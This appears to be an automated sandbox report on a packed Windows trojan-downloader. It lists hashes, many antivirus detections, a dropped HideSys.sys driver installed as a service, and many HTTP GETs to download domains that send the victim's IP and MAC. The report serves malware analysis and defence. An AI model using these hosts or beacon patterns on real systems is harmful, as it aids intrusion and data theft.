Analysis Date2015-11-19 17:31:54
MD5f8163f2b4b449372b15d8a49d2201c2f
SHA1977fa47117097698121a06d36061b222ff67109b

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
SectionUPX0 md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
SectionUPX1 md5: 2d77f770f3195ae48328210719e852ba sha1: 70c489271ce4bc87185dbe95526b97ac2681a30c size: 70656
Section.rsrc md5: 6352dbad275dee55b5b62980951c127d sha1: 2981513ed1e92cf450748a1eeed01bf9c9f0818e size: 1536
Timestamp2013-09-16 06:19:09
VersionLegalCopyright:
InternalName:
FileVersion: 1, 0, 3, 916
CompanyName:
PrivateBuild:
LegalTrademarks:
Comments:
ProductName:
SpecialBuild:
ProductVersion: 0, 0, 0, 0
FileDescription:
OriginalFilename:
PackerUPX -> www.upx.sourceforge.net
PEhashebe10d86d7142df0dd8520fc2762dc0b2bfc5c78
IMPhashaf95e8dbe1501e4d5ab6b4f281ac8261
AVRisingno_virus
AVMcafeeRDN/Generic.grp!if
AVAvira (antivir)TR/Proxy.Gen
AVTwisterTrojan.306B59FC6949C2A0
AVAd-AwareGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVAlwil (avast)Malware-gen:Win32:Malware-gen
AVEset (nod32)Win32/TrojanDownloader.Agent.RFS
AVGrisoft (avg)Generic36.ICZ
AVSymantecDownloader
AVFortinetW32/Injector.JQR!tr
AVBitDefenderGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVK7Trojan ( 004be6d21 )
AVMicrosoft Security EssentialsTrojan:Win32/Rofin.A
AVMicroWorld (escan)Gen:Trojan.Heur.RP.emKfa80ZQ7eb
AVMalwareBytesTrojan.Agent.ED
AVAuthentiumW32/Injector.A.gen!Eldorado
AVFrisk (f-prot)W32/Injector.A.gen!Eldorado
AVIkarusTrojan-Dropper.Win32.Injector
AVEmsisoftGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVZillya!Downloader.Agent.Win32.180746
AVKasperskyTrojan-Dropper.Win32.Injector.jqrj
AVTrend MicroTROJ_ROFIN.SM
AVCAT (quickheal)Trojan.Rofin.A.mue
AVVirusBlokAda (vba32)TrojanDropper.Injector
AVPadvishno_virus
AVBullGuardGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVArcabit (arcavir)Gen:Trojan.Heur.RP.emKfa80ZQ7eb
AVClamAVWin.Trojan.Agent-723397
AVDr. WebTrojan.Carberp.1285
AVF-SecureGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVCA (E-Trust Ino)no_virus
AVRisingno_virus
AVMcafeeRDN/Generic.grp!if
AVAvira (antivir)TR/Proxy.Gen
AVTwisterTrojan.306B59FC6949C2A0
AVAd-AwareGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVAlwil (avast)Malware-gen:Win32:Malware-gen
AVEset (nod32)Win32/TrojanDownloader.Agent.RFS
AVGrisoft (avg)Generic36.ICZ
AVSymantecDownloader
AVFortinetW32/Injector.JQR!tr
AVBitDefenderGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVK7Trojan ( 004be6d21 )
AVMicrosoft Security EssentialsTrojan:Win32/Rofin.A
AVMicroWorld (escan)Gen:Trojan.Heur.RP.emKfa80ZQ7eb
AVMalwareBytesTrojan.Agent.ED
AVAuthentiumW32/Injector.A.gen!Eldorado
AVFrisk (f-prot)W32/Injector.A.gen!Eldorado
AVIkarusTrojan-Dropper.Win32.Injector

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FileSSDTProcess
Creates FileC:\WINDOWS\system32\drivers\HideSys.sys
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates ServiceEProcess - C:\WINDOWS\system32\drivers\HideSys.sys
Starts ServiceEProcess

Process
↳ C:\WINDOWS\system32\svchost.exe

Process
↳ Pid 808

Process
↳ Pid 856

Process
↳ C:\WINDOWS\System32\svchost.exe

Process
↳ Pid 1212

Process
↳ C:\WINDOWS\system32\spoolsv.exe

RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\BeepEnabled ➝
NULL
RegistryHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\Print\TypesSupported ➝
7
RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Printers\SymbolicLinkValue ➝
NULL
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Print\Printers\DefaultSpoolDirectory ➝
C:\WINDOWS\System32\spool\PRINTERS\\x00

Process
↳ Pid 1864

Process
↳ Pid 1148

Process
↳ C:\WINDOWS\Explorer.EXE

Network Details:

DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.20
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.21
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.22
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.235.201
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.237.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.2
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.4
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.5
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.5
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.20
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.21
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.22
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.235.201
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.237.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.2
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.4
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.4
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.5
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.20
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.21
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.22
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.235.201
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.237.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.2
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.3
DNSdownini.com
Type: A
116.255.243.151
DNSinixz.com
Type: A
116.255.243.151
DNSinibin.com
Type: A
116.255.243.151
DNSbindown.com
Type: A
116.255.243.151
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.4
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.5
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.20
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.21
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.22
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.235.201
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.237.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.2
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.2
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.4
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.5
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.20
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.21
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.22
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.235.201
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.237.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.237.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.2
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.4
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.5
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.20
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.21
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.22
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.235.201
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.235.201
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.237.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.2
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.4
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.5
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.20
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.21
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.22
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.22
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.235.201
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.237.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.2
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.4
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.5
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.20
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.21
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.20
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.21
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.234.22
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.235.201
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.237.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.2
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.3
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.4
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.229.5
DNSplus.zzinfor.cn
Type: A
DNSplus.soomeng.com
Type: A
DNSplus.icafeads.com
Type: A
DNSbindowns.com
Type: A
DNSinidowns.com
Type: A
DNSxzpzwj.com
Type: A
DNSxiazaiini.com
Type: A
DNSxiazaibin.com
Type: A
DNSinidown.com
Type: A
HTTP GEThttp://plus.zzinfor.cn/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/tqzlkj.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
Flows TCP192.168.1.1:1031 ➝ 220.243.234.20:80
Flows TCP192.168.1.1:1032 ➝ 220.243.229.5:80
Flows TCP192.168.1.1:1033 ➝ 220.243.229.4:80
Flows TCP192.168.1.1:1034 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1035 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1036 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1037 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1038 ➝ 220.243.229.3:80
Flows TCP192.168.1.1:1039 ➝ 220.243.229.2:80
Flows TCP192.168.1.1:1040 ➝ 220.243.229.4:80
Flows TCP192.168.1.1:1041 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1042 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1043 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1044 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1045 ➝ 220.243.229.3:80
Flows TCP192.168.1.1:1046 ➝ 220.243.229.2:80
Flows TCP192.168.1.1:1047 ➝ 220.243.229.4:80
Flows TCP192.168.1.1:1048 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1049 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1050 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1051 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1052 ➝ 220.243.237.3:80
Flows TCP192.168.1.1:1053 ➝ 220.243.235.201:80
Flows TCP192.168.1.1:1054 ➝ 220.243.229.4:80
Flows TCP192.168.1.1:1055 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1056 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1057 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1058 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1059 ➝ 220.243.237.3:80
Flows TCP192.168.1.1:1060 ➝ 220.243.235.201:80
Flows TCP192.168.1.1:1061 ➝ 220.243.229.4:80
Flows TCP192.168.1.1:1062 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1063 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1064 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1065 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1066 ➝ 220.243.234.22:80
Flows TCP192.168.1.1:1067 ➝ 220.243.234.20:80
Flows TCP192.168.1.1:1068 ➝ 220.243.229.4:80
Flows TCP192.168.1.1:1069 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1070 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1071 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1072 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1073 ➝ 220.243.234.22:80
Flows TCP192.168.1.1:1074 ➝ 220.243.234.20:80
Flows TCP192.168.1.1:1075 ➝ 220.243.229.4:80
Flows TCP192.168.1.1:1076 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1077 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1078 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1079 ➝ 116.255.243.151:80

Raw Pcap

Strings